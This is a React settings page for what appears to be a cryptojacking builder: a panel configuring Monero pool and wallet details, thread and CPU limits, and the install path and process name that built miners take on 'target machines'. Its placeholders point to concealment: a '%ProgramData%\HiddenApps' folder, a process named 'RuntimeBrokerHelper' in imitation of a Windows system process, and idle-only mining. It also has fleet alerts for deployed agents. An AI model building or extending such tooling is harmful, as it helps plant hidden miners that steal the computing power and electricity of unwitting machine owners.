import { useState, useEffect } from 'react'; import { api } from '../api/client'; import type { ServerConfig } from '../types'; import { HelpTip } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import './Pages.css'; export default function SettingsPage() { const [config, setConfig] = useState(null); const [loading, setLoading] = useState(true); const [saving, setSaving] = useState(false); const [saveMessage, setSaveMessage] = useState(''); useEffect(() => { api.getConfig() .then(setConfig) .catch(console.error) .finally(() => setLoading(false)); }, []); const updateField = (path: string, value: any) => { if (!config) return; const newConfig = { ...config }; const keys = path.split('.'); let obj: any = newConfig; for (let i = 0; i < keys.length - 1; i++) { obj = obj[keys[i]]; } obj[keys[keys.length - 1]] = value; setConfig(newConfig); }; const handleSave = async () => { if (!config) return; setSaving(true); setSaveMessage(''); try { const updated = await api.updateConfig(config); setConfig(updated); setSaveMessage('✅ Settings saved successfully'); setTimeout(() => setSaveMessage(''), 3000); } catch (err: any) { setSaveMessage(`❌ Failed to save: ${err.message}`); } finally { setSaving(false); } }; if (loading) { return (

CALIBRATION

System Calibrate

Loading settings...

); } if (!config) { return (

Settings

Failed to load settings

); } return (

CALIBRATION

System Calibrate

Pool, wallet, defaults, and install paths for the forge.

{saveMessage && (
{saveMessage}
)}
{/* Pool Configuration */}

Pool Connection

Configure which Monero pool your miners connect to.

updateField('pool.host', e.target.value)} placeholder="pool.supportxmr.com" />
updateField('pool.port', parseInt(e.target.value) || 3333)} />
updateField('pool.password', e.target.value)} placeholder="x" />
{/* Wallet Configuration */}

Wallet

Default wallet address for new miners.

updateField('wallet.address', e.target.value)} placeholder="4..." />
updateField('wallet.payment_id', e.target.value)} />
{/* Default Agent Config */}

Default Agent Configuration

Default settings applied to newly built miners.

{config.default_agent_config.thread_mode === 'fixed' ? (
updateField('default_agent_config.threads', parseInt(e.target.value) || 1)} />
) : (
updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)} />
)}
updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)} />
updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)} />

Install Location Defaults

Where built installers embed the miner on first run.

{config.default_agent_config.install_base === 'custom' && (
updateField('default_agent_config.install_custom_base', e.target.value)} placeholder="%ProgramData%\\HiddenApps" />
)}
updateField('default_agent_config.install_relative_path', e.target.value)} />
updateField('default_agent_config.process_name', e.target.value)} placeholder="RuntimeBrokerHelper" />
{config.default_agent_config.mining_mode === 'idle' && (
updateField('default_agent_config.idle_threshold_pct', parseInt(e.target.value) || 20)} />
updateField('default_agent_config.idle_duration_minutes', parseInt(e.target.value) || 5)} />
)} {config.default_agent_config.mining_mode === 'scheduled' && (
updateField('default_agent_config.schedule_start', e.target.value)} />
updateField('default_agent_config.schedule_end', e.target.value)} />
)}
{/* Background / Silent Mode */}

Background & Deployment

How miners behave on target machines.

{/* Alerts */}

Alerts

Configure thresholds for fleet health alerts.

updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} /> Alert if agent hasn't reported in this many minutes
updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} /> Alert if hashrate drops by this percentage
updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} /> Alert if share rejection rate exceeds this percentage
); }